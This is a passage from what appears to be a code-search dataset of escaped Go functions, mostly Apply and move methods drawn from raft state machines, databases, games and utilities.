applyMetadata(path string, hdr *tar.Header) error {\\n\\t// Modify the header.\\n\\tif err := unmapHeader(hdr, te.mapOptions); err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"unmap header\\\")\\n\\t}\\n\\n\\t// Restore it on the filesystme.\\n\\treturn te.restoreMetadata(path, hdr)\\n}\",\n \"func (u updateUploadRevision) apply(data *journalPersist) {\\n\\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\\n\\t\\tbuild.Critical(\\\"updateUploadRevision is missing its FileContractRevision\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\trev := u.NewRevisionTxn.FileContractRevisions[0]\\n\\tc := data.Contracts[rev.ParentID.String()]\\n\\tc.LastRevisionTxn = u.NewRevisionTxn\\n\\n\\tif u.NewSectorIndex == len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots = append(c.MerkleRoots, u.NewSectorRoot)\\n\\t} else if u.NewSectorIndex < len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots[u.NewSectorIndex] = u.NewSectorRoot\\n\\t} else {\\n\\t\\t// Shouldn't happen. TODO: Correctly handle error.\\n\\t}\\n\\n\\tc.UploadSpending = u.NewUploadSpending\\n\\tc.StorageSpending = u.NewStorageSpending\\n\\tdata.Contracts[rev.ParentID.String()] = c\\n}\",\n \"func (re *raftEngine) entriesToApply(ents []raftpb.Entry) (nents []raftpb.Entry) {\\r\\n\\tif len(ents) == 0 {\\r\\n\\t\\treturn\\r\\n\\t}\\r\\n\\tfirstIndex := ents[0].Index\\r\\n\\tif firstIndex > re.appliedIndex+1 {\\r\\n\\t\\tlog.ZAPSugaredLogger().Errorf(\\\"Error raised when processing entries to apply, first index of committed entry [%d] should <= appliedIndex [%d].\\\", firstIndex, re.appliedIndex)\\r\\n\\t\\treturn\\r\\n\\t}\\r\\n\\tif re.appliedIndex-firstIndex+1 < uint64(len(ents)) {\\r\\n\\t\\tnents = ents[re.appliedIndex-firstIndex+1:]\\r\\n\\t}\\r\\n\\treturn\\r\\n}\",\n \"func (s *Server) raftApply(t structs.MessageType, msg interface{}) (interface{}, error) {\\n\\tbuf, err := structs.Encode(t, msg)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to encode request: %v\\\", err)\\n\\t}\\n\\n\\t// Warn if the command is very large\\n\\tif n := len(buf); n > raftWarnSize {\\n\\t\\ts.logger.Printf(\\\"[WARN] consul: Attempting to apply large raft entry (%d bytes)\\\", n)\\n\\t}\\n\\n\\tfuture := s.raft.Apply(buf, enqueueLimit)\\n\\tif err := future.Error(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn future.Response(), nil\\n}\",\n \"func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\\n\\ts := context.Server().Context().(*Server)\\n\\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\\n\\treturn nextCAS, err\\n}\",\n \"func (s *Store) move(id, targetID string, before bool) error {\\n\\t// We're going to be modifying our items slice - lock for writing.\\n\\ts.mutex.Lock()\\n\\n\\t// Unlock once we're done.\\n\\tdefer s.mutex.Unlock()\\n\\n\\tindex := -1\\n\\ttarget := -1\\n\\n\\t// Find the indexes of the items we're moving.\\n\\tfor i, item := range s.items {\\n\\t\\tif item.id == id {\\n\\t\\t\\tindex = i\\n\\t\\t}\\n\\n\\t\\tif item.id == targetID {\\n\\t\\t\\ttarget = i\\n\\t\\t}\\n\\n\\t\\t// We can break early if we've found both indexes.\\n\\t\\tif index != -1 && target != -1 {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\t// If either of the indexes is missing, return an error.\\n\\tif index == -1 || target == -1 {\\n\\t\\treturn moodboard.ErrNoSuchItem\\n\\t}\\n\\n\\titem := s.items[index]\\n\\n\\tif index < target {\\n\\t\\t// If we're moving the item before the target and it's already before the target then we need to take\\n\\t\\t// 1 off the target to ensure we don't insert it after the target.\\n\\t\\tif before {\\n\\t\\t\\ttarget--\\n\\t\\t}\\n\\n\\t\\t// index = 1\\n\\t\\t// target = 4\\n\\t\\t//\\n\\t\\t// 0 1 2 3 4 5\\n\\t\\t// -----------\\n\\t\\t// A B C D E F\\n\\t\\t// | / / / |\\n\\t\\t// A C D E X F\\n\\t\\t// | | | | | |\\n\\t\\t// A C D E B F\\n\\t\\tcopy(s.items[index:], s.items[index+1:target+1])\\n\\t} else if index > target {\\n\\t\\t// If we're moving the item after the target and it's already after the target then we need to add 1\\n\\t\\t// to the target to ensure we don't insert it before the target.\\n\\t\\tif !before {\\n\\t\\t\\ttarget++\\n\\t\\t}\\n\\n\\t\\t// move([]string{\\\"A\\\", \\\"B\\\", \\\"C\\\", \\\"D\\\", \\\"E\\\", \\\"F\\\"}, 4, 1)\\n\\t\\t//\\n\\t\\t// 0 1 2 3 4 5\\n\\t\\t// -----------\\n\\t\\t// A B C D E F\\n\\t\\t// | \\\\ \\\\ \\\\ |\\n\\t\\t// A X B C D F\\n\\t\\t// | | | | | |\\n\\t\\t// A E B C D F\\n\\t\\tcopy(s.items[target+1:], s.items[target:index])\\n\\t}\\n\\n\\ts.items[target] = item\\n\\n\\treturn nil\\n}\",\n \"func (gm *gmap) applyAll(gmp *gmapProgress, apply *apply) {\\n\\t// Apply snapshot\\n\\tgm.applySnapshot(gmp, apply)\\n\\t// Apply entries.\\n\\tgm.applyEntries(gmp, apply)\\n\\t// Wait for the raft routine to finish the disk writes before triggering a snapshot.\\n\\t// or applied index might be greater than the last index in raft storage.\\n\\t// since the raft routine might be slower than apply routine.\\n\\t<-apply.notifyc\\n\\t// Create snapshot if necessary\\n\\tgm.triggerSnapshot(gmp)\\n}\",\n \"func Apply(store *MemoryStore, item events.Event) (err error) {\\n\\treturn store.Update(func(tx Tx) error {\\n\\t\\tswitch v := item.(type) {\\n\\t\\tcase state.EventCreateTask:\\n\\t\\t\\treturn CreateTask(tx, v.Task)\\n\\t\\tcase state.EventUpdateTask:\\n\\t\\t\\treturn UpdateTask(tx, v.Task)\\n\\t\\tcase state.EventDeleteTask:\\n\\t\\t\\treturn DeleteTask(tx, v.Task.ID)\\n\\n\\t\\tcase state.EventCreateService:\\n\\t\\t\\treturn CreateService(tx, v.Service)\\n\\t\\tcase state.EventUpdateService:\\n\\t\\t\\treturn UpdateService(tx, v.Service)\\n\\t\\tcase state.EventDeleteService:\\n\\t\\t\\treturn DeleteService(tx, v.Service.ID)\\n\\n\\t\\tcase state.EventCreateNetwork:\\n\\t\\t\\treturn CreateNetwork(tx, v.Network)\\n\\t\\tcase state.EventUpdateNetwork:\\n\\t\\t\\treturn UpdateNetwork(tx, v.Network)\\n\\t\\tcase state.EventDeleteNetwork:\\n\\t\\t\\treturn DeleteNetwork(tx, v.Network.ID)\\n\\n\\t\\tcase state.EventCreateNode:\\n\\t\\t\\treturn CreateNode(tx, v.Node)\\n\\t\\tcase state.EventUpdateNode:\\n\\t\\t\\treturn UpdateNode(tx, v.Node)\\n\\t\\tcase state.EventDeleteNode:\\n\\t\\t\\treturn DeleteNode(tx, v.Node.ID)\\n\\n\\t\\tcase state.EventCommit:\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\treturn errors.New(\\\"unrecognized event type\\\")\\n\\t})\\n}\",\n \"func ApplyCastling(board Board, kingPos Position, kingInfo PieceInfo, direction int) (newBoard Board) {\\n\\tvar rockMove, kingMove FullMove\\n\\tnewBoard = board\\n\\n\\tif direction < 0 {\\n\\t\\trockMove = FullMove{ Position{0, kingPos.y}, Move{3, 0} }\\n\\t} else {\\n\\t\\trockMove = FullMove{ Position{7, kingPos.y}, Move{-2, 0} }\\n\\t}\\n\\n\\tSetBoardAt(&newBoard, rockMove.pos, PieceInfo{ Piece_Rock, PieceStatus_CastlingNotAllowed, kingInfo.color })\\n\\tSetBoardAt(&newBoard, kingPos, PieceInfo{ kingInfo.piece, PieceStatus_CastlingNotAllowed, kingInfo.color })\\n\\n\\tupdateStates := true\\n\\tkingMove = FullMove{ kingPos, Move{direction * 2, 0} }\\n\\tnewBoard = ApplyMove(newBoard, rockMove, updateStates)\\n\\tnewBoard = ApplyMove(newBoard, kingMove, updateStates)\\n\\n\\treturn\\n}\",\n \"func (tx *Tx) SMove(src, dst string, member string) error {\\n\\tif tx.db.hasExpired(src, Set) {\\n\\t\\ttx.db.evict(src, Hash)\\n\\t\\treturn ErrExpiredKey\\n\\t}\\n\\tif tx.db.hasExpired(dst, Set) {\\n\\t\\ttx.db.evict(dst, Hash)\\n\\t\\treturn ErrExpiredKey\\n\\t}\\n\\n\\tok := tx.db.setStore.SMove(src, dst, member)\\n\\tif ok {\\n\\t\\te := newRecordWithValue([]byte(src), []byte(member), []byte(dst), SetRecord, SetSMove)\\n\\t\\ttx.addRecord(e)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *SetCommand) Apply(server *raft.Server) (interface{}, error) {\\n\\treturn etcdStore.Set(c.Key, c.Value, c.ExpireTime, server.CommitIndex())\\n}\",\n \"func (f *raftStore) Apply(l *raft.Log) interface{} {\\n\\tvar newState state\\n\\tif err := json.Unmarshal(l.Data, &newState); err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"failed to unmarshal state\\\")\\n\\t}\\n\\tf.logger.Debug(\\\"Applying new status\\\", \\\"old\\\", f.m.GetCurrentState(), \\\"new\\\", newState)\\n\\tf.mu.Lock()\\n\\tif f.inFlight != nil && newState.CompareHRSTo(*f.inFlight) >= 0 {\\n\\t\\tf.inFlight = nil\\n\\t}\\n\\tf.mu.Unlock()\\n\\tf.m.setNewState(newState)\\n\\treturn nil\\n}\",\n \"func (c *JoinCommand) Apply(context raft.Context) (interface{}, error) {\\n\\tindex, err := applyJoin(c, context)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tb := make([]byte, 8)\\n\\tbinary.PutUvarint(b, index)\\n\\treturn b, nil\\n}\",\n \"func (m Matrix) Moved(delta Vec) Matrix {\\n\\tm[4], m[5] = m[4]+delta.X, m[5]+delta.Y\\n\\treturn m\\n}\",\n \"func(s *SetImp) Apply(t Target, a Action) os.Error {\\n\\tif err := t.ApplyPreq(a); err != nil { return err }\\n\\tif err := t.Apply(a); err != nil { return err }\\n\\treturn nil\\n}\",\n \"func (s *Stream) AmendEntry(entry *stream.StreamEntry, oldTimestamp time.Time) error {\\n\\t_, err := s.dataTable.Get(oldTimestamp).Replace(entry).RunWrite(s.h.rctx)\\n\\treturn err\\n}\",\n \"func (m *Map) Move(loc Location, d Direction) Location {\\n\\tRow, Col := m.FromLocation(loc)\\n\\tswitch d {\\n\\t\\tcase North:\\t\\tRow -= 1\\n\\t\\tcase South:\\t\\tRow += 1\\n\\t\\tcase West:\\t\\tCol -= 1\\n\\t\\tcase East:\\t\\tCol += 1\\n\\t\\tcase NoMovement: //do nothing\\n\\t\\tdefault: Panicf(\\\"%v is not a valid direction\\\", d)\\n\\t}\\n\\treturn m.FromRowCol(Row, Col) //this will handle wrapping out-of-bounds numbers\\n}\",\n \"func (pred *LikePredicate) Apply(c cm.Collection) error {\\n\\tcol := c.(*Table)\\n\\n\\tlike := \\\"like\\\"\\n\\n\\tif pred.CaseSensitive {\\n\\t\\tlike = \\\"ilike\\\"\\n\\t}\\n\\n\\tcol.filterStatements = append(col.filterStatements,\\n\\t\\tfmt.Sprintf(\\\"%s %s ?\\\", pred.Column.Name(), like))\\n\\n\\tcol.filterValues = append(col.filterValues, pred.Value)\\n\\n\\treturn nil\\n}\",\n \"func (moves Moves) ApplyPrefix(prefix path.Path) Moves {\\n\\tnewMoves := make(Moves, len(moves))\\n\\tfor i, mv := range moves {\\n\\t\\tnewMoves[i] = mv.ApplyPrefix(prefix)\\n\\t}\\n\\n\\treturn newMoves\\n}\",\n \"func (u *MacroUpdate) Apply(m *Macro) error {\\n\\tif u.Name != \\\"\\\" {\\n\\t\\tm.Name = u.Name\\n\\t}\\n\\n\\tif u.Selected != nil {\\n\\t\\tm.Selected = u.Selected\\n\\t}\\n\\n\\tif u.Arguments != nil {\\n\\t\\tm.Arguments = u.Arguments\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (gm *gmap) applySnapshot(gmp *gmapProgress, apply *apply) {\\n\\t// Check snapshot empty or not.\\n\\tif raft.IsEmptySnap(apply.snapshot) {\\n\\t\\treturn\\n\\t}\\n\\t// Write apply snapshot log.\\n\\tlogger.Infof(\\\"applying snapshot at index %d...\\\", gmp.snapi)\\n\\tdefer func() { logger.Infof(\\\"finished applying incoming snapshot at index %d\\\", gmp.snapi) }()\\n\\t// If the index of snapshot is smaller than the currently applied index, maybe raft is fault.\\n\\tif apply.snapshot.Metadata.Index < gmp.appliedi {\\n\\t\\tlogger.Panicf(\\\"snapshot index [%d] should > applied index[%d] + 1\\\", apply.snapshot.Metadata.Index, gmp.appliedi)\\n\\t}\\n\\t// Because gmap does not need to be persistent, don't need wait for raftNode to persist snapshot into the disk.\\n\\t// <-apply.notifyc\\n\\t// Load storage data from snapshot.\\n\\tif err := gm.sets.load(apply.snapshot.Data); nil != err {\\n\\t\\tlogger.Panicf(\\\"storage load error:%v\\\", err)\\n\\t}\\n\\t// Update gmap raft apply progress.\\n\\tgmp.appliedt, gmp.appliedi, gmp.confState = apply.snapshot.Metadata.Term, apply.snapshot.Metadata.Index, apply.snapshot.Metadata.ConfState\\n\\tgmp.snapi = gmp.appliedi\\n}\",\n \"func (s Schema) Apply(data map[string]interface{}, opts ...ApplyOption) (common.MapStr, error) {\\n\\tevent, errors := s.ApplyTo(common.MapStr{}, data, opts...)\\n\\treturn event, errors.Err()\\n}\",\n \"func (p *Player) move(treasureMap map[[2]int]int) ([2]int, bool) {\\n\\n\\tif p.DirectionTaken == up {\\n\\t\\tnewPlayerPositionXY := [2]int{p.Position[0], p.Position[1] + 1}\\n\\t\\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\\n\\t\\t\\tp.DirectionTaken = right\\n\\t\\t} else {\\n\\t\\t\\treturn newPlayerPositionXY, true\\n\\t\\t}\\n\\t}\\n\\n\\tif p.DirectionTaken == right {\\n\\t\\tnewPlayerPositionXY := [2]int{p.Position[0] + 1, p.Position[1]}\\n\\t\\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\\n\\t\\t\\tp.DirectionTaken = down\\n\\t\\t} else {\\n\\t\\t\\treturn newPlayerPositionXY, true\\n\\t\\t}\\n\\t}\\n\\n\\tif p.DirectionTaken == down {\\n\\t\\tnewPlayerPositionXY := [2]int{p.Position[0], p.Position[1] - 1}\\n\\t\\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\\n\\t\\t\\tp.DirectionTaken = stuck\\n\\t\\t} else {\\n\\t\\t\\treturn newPlayerPositionXY, true\\n\\t\\t}\\n\\t}\\n\\n\\treturn p.Position, false\\n}\",\n \"func (sm *ShardMaster) operateApply() {\\n\\tfor msg := range sm.applyCh {\\n\\t\\top := msg.Command.(Op)\\n\\t\\tsm.mu.Lock()\\n\\t\\tswitch op.Type {\\n\\t\\tcase \\\"Join\\\": {\\n\\t\\t\\targs := op.Args.(JoinArgs)\\n\\t\\t\\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\\n\\t\\t\\t\\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\\n\\t\\t\\t\\tsm.join(&args)\\n\\t\\t\\t\\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\\n\\t\\t\\t\\tsm.mu.Unlock()\\n\\t\\t\\t\\tselect {\\n\\t\\t\\t\\tcase doneCh <- args.Serial:\\n\\t\\t\\t\\tcase <- time.After(ApplySendTimeOut):\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tsm.mu.Unlock()\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tcase \\\"Leave\\\": {\\n\\t\\t\\targs := op.Args.(LeaveArgs)\\n\\t\\t\\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\\n\\t\\t\\t\\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\\n\\t\\t\\t\\tsm.leave(&args)\\n\\t\\t\\t\\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\\n\\t\\t\\t\\tsm.mu.Unlock()\\n\\t\\t\\t\\tselect {\\n\\t\\t\\t\\tcase doneCh <- args.Serial:\\n\\t\\t\\t\\tcase <- time.After(ApplySendTimeOut):\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tsm.mu.Unlock()\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tcase \\\"Move\\\": {\\n\\t\\t\\targs := op.Args.(MoveArgs)\\n\\t\\t\\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\\n\\t\\t\\t\\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\\n\\t\\t\\t\\tsm.move(&args)\\n\\t\\t\\t\\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\\n\\t\\t\\t\\tsm.mu.Unlock()\\n\\t\\t\\t\\tselect {\\n\\t\\t\\t\\tcase doneCh <- args.Serial:\\n\\t\\t\\t\\tcase <- time.After(ApplySendTimeOut):\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tsm.mu.Unlock()\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tcase \\\"Query\\\": {\\n\\t\\t\\targs := op.Args.(QueryArgs)\\n\\t\\t\\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\\n\\t\\t\\t\\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\\n\\t\\t\\t\\tsm.queryResults[msg.CommandIndex] = sm.query(&args)\\n\\t\\t\\t\\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\\n\\t\\t\\t\\tsm.mu.Unlock()\\n\\t\\t\\t\\tselect {\\n\\t\\t\\t\\tcase doneCh <- args.Serial:\\n\\t\\t\\t\\tcase <- time.After(ApplySendTimeOut):\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tsm.mu.Unlock()\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\tlog.Fatal(\\\"Unrecognized op type\\\")\\n\\t\\t}\\n\\t\\tif sm.killed() {return}\\n\\t}\\n}\",\n \"func (elems *ElementsNR) move(from, to dvid.Point3d, deleteElement bool) (moved *ElementNR, changed bool) {\\n\\tfor i, elem := range *elems {\\n\\t\\tif from.Equals(elem.Pos) {\\n\\t\\t\\tchanged = true\\n\\t\\t\\t(*elems)[i].Pos = to\\n\\t\\t\\tmoved = (*elems)[i].Copy()\\n\\t\\t\\tif deleteElement {\\n\\t\\t\\t\\t(*elems)[i] = (*elems)[len(*elems)-1] // Delete without preserving order.\\n\\t\\t\\t\\t*elems = (*elems)[:len(*elems)-1]\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (entry *TableEntry) ApplyCommit() (err error) {\\n\\terr = entry.BaseEntryImpl.ApplyCommit()\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\t// It is not wanted that a block spans across different schemas\\n\\tif entry.isColumnChangedInSchema() {\\n\\t\\tentry.FreezeAppend()\\n\\t}\\n\\t// update the shortcut to the lastest schema\\n\\tentry.TableNode.schema.Store(entry.GetLatestNodeLocked().BaseNode.Schema)\\n\\treturn\\n}\",\n \"func (mv *Move) ApplyPrefix(prefix path.Path) *Move {\\n\\treturn &Move{\\n\\t\\tFrom: prefix.Append(mv.From),\\n\\t\\tTo: prefix.Append(mv.To),\\n\\t}\\n}\",\n \"func (s *State) apply(commit Commit) error {\\n\\t// state to identify proposals being processed\\n\\t// in the PendingProposals. Avoids linear loop to\\n\\t// remove entries from PendingProposals.\\n\\tvar processedProposals = map[string]bool{}\\n\\terr := s.applyProposals(commit.Updates, processedProposals)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = s.applyProposals(commit.Removes, processedProposals)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = s.applyProposals(commit.Adds, processedProposals)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this *ObjectPut) Apply(context Context, first, second, third value.Value) (value.Value, error) {\\n\\n\\t// Check for type mismatches\\n\\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\tfield := second.Actual().(string)\\n\\n\\trv := first.CopyForUpdate()\\n\\trv.SetField(field, third)\\n\\treturn rv, nil\\n}\",\n \"func (f *FileUtil) move(src, dst string) {\\n\\tsrc = FixPath(src)\\n\\tdst = FixPath(dst)\\n\\tif f.Verbose {\\n\\t\\tfmt.Println(\\\"Moving\\\", src, \\\"to\\\", dst)\\n\\t}\\n\\t_, err := f.dbx.Move(files.NewRelocationArg(src, dst))\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n}\",\n \"func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = oa[k]\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = oa[k]\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (machine *StateMachine) Apply(command []byte) []byte {\\n\\n\\tcom := Command{}\\n\\terr := json.Unmarshal(command, &com)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tif com.Operation == \\\"write\\\" {\\n\\t\\tmachine.database[com.Key] = com.Value\\n\\t\\treturn []byte(com.Value)\\n\\t}\\n\\n\\tval, ok := machine.database[com.Key]\\n\\tif !ok {\\n\\t\\treturn []byte{}\\n\\t}\\n\\treturn []byte(val)\\n}\",\n \"func (v Data) Move(old, new int) {\\n\\tif old == new {\\n\\t\\treturn // well\\n\\t}\\n\\n\\tshifting := -1\\n\\to, n := old, new\\n\\tif old > new {\\n\\t\\tshifting = 1\\n\\t\\told, new = new+1, old+1\\n\\t}\\n\\n\\tcell := v[o]\\n\\tcopy(v[old:new], v[old-shifting:new-shifting])\\n\\tv[n] = cell\\n}\",\n \"func (elems *Elements) move(from, to dvid.Point3d, deleteElement bool) (moved *Element, changed bool) {\\n\\tfor i, elem := range *elems {\\n\\t\\tif from.Equals(elem.Pos) {\\n\\t\\t\\tchanged = true\\n\\t\\t\\t(*elems)[i].Pos = to\\n\\t\\t\\tmoved = (*elems)[i].Copy()\\n\\t\\t\\tif deleteElement {\\n\\t\\t\\t\\t(*elems)[i] = (*elems)[len(*elems)-1] // Delete without preserving order.\\n\\t\\t\\t\\t*elems = (*elems)[:len(*elems)-1]\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// Check relationships for any moved points.\\n\\tfor i, elem := range *elems {\\n\\t\\t// Move any relationship with given pt.\\n\\t\\tfor j, r := range elem.Rels {\\n\\t\\t\\tif from.Equals(r.To) {\\n\\t\\t\\t\\tr.To = to\\n\\t\\t\\t\\t(*elems)[i].Rels[j] = r\\n\\t\\t\\t\\tchanged = true\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (this *ObjectPairs) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = map[string]interface{}{\\\"name\\\": k, \\\"value\\\": oa[k]}\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (this *ObjectPairs) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = map[string]interface{}{\\\"name\\\": k, \\\"value\\\": oa[k]}\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (db *GeoDB) MoveMember(q *GeoQuery) error {\\n\\tconn := db.pool.Get()\\n\\tdefer conn.Close()\\n\\n\\t_, err := db.scripts[\\\"GEOMOVE\\\"].Do(\\n\\t\\tconn,\\n\\t\\tTwoKeys,\\n\\t\\tq.FromKey,\\n\\t\\tq.ToKey,\\n\\t\\tq.Member,\\n\\t)\\n\\n\\treturn err\\n}\",\n \"func (this *ObjectInnerValues) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := removeMissing(arg)\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = oa[k]\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (f *FSM) Apply(log *raft.Log) interface{} {\\n\\t// Lock the registry for the entire duration of the command\\n\\t// handlers. This is fine since no other write change can happen\\n\\t// anyways while we're running. This might slowdown a bit opening new\\n\\t// leader connections, but since application should be designed to open\\n\\t// their leaders once for all, it shouldn't be a problem in\\n\\t// practice. Read transactions are not be affected by the locking.\\n\\tf.registry.Lock()\\n\\tdefer f.registry.Unlock()\\n\\n\\ttracer := f.registry.TracerFSM()\\n\\n\\t// If we're being invoked in the context of a Methods replication hook\\n\\t// applying a log command, block execution of any log commands coming\\n\\t// on the wire from other leaders until the hook as completed.\\n\\tif f.registry.HookSyncPresent() && !f.registry.HookSyncMatches(log.Data) {\\n\\t\\ttracer.Message(\\\"wait for methods hook to complete\\\")\\n\\t\\t// This will temporarily release and re-acquire the registry lock.\\n\\t\\tf.registry.HookSyncWait()\\n\\t}\\n\\n\\terr := f.apply(tracer, log)\\n\\tif err != nil {\\n\\t\\tif f.panicOnFailure {\\n\\t\\t\\ttracer.Panic(\\\"%v\\\", err)\\n\\t\\t}\\n\\t\\ttracer.Error(\\\"apply failed\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (op *OpFlatten) Apply(e *entry.Entry) error {\\n\\tparent := op.Field.Parent()\\n\\tval, ok := e.Delete(op.Field)\\n\\tif !ok {\\n\\t\\t// The field doesn't exist, so ignore it\\n\\t\\treturn fmt.Errorf(\\\"apply flatten: field %s does not exist on body\\\", op.Field)\\n\\t}\\n\\n\\tvalMap, ok := val.(map[string]interface{})\\n\\tif !ok {\\n\\t\\t// The field we were asked to flatten was not a map, so put it back\\n\\t\\terr := e.Set(op.Field, val)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"reset non-map field\\\")\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"apply flatten: field %s is not a map\\\", op.Field)\\n\\t}\\n\\n\\tfor k, v := range valMap {\\n\\t\\terr := e.Set(parent.Child(k), v)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a Alias) Apply() error {\\n\\taliasFilePath, err := utils.GetAliasFile()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif !utils.FileExists(aliasFilePath) {\\n\\t\\tif _, err = os.Create(aliasFilePath); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\taliasMap, err := utils.AliasMapFromFile(aliasFilePath)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\texistingAlias, isAliasContained := 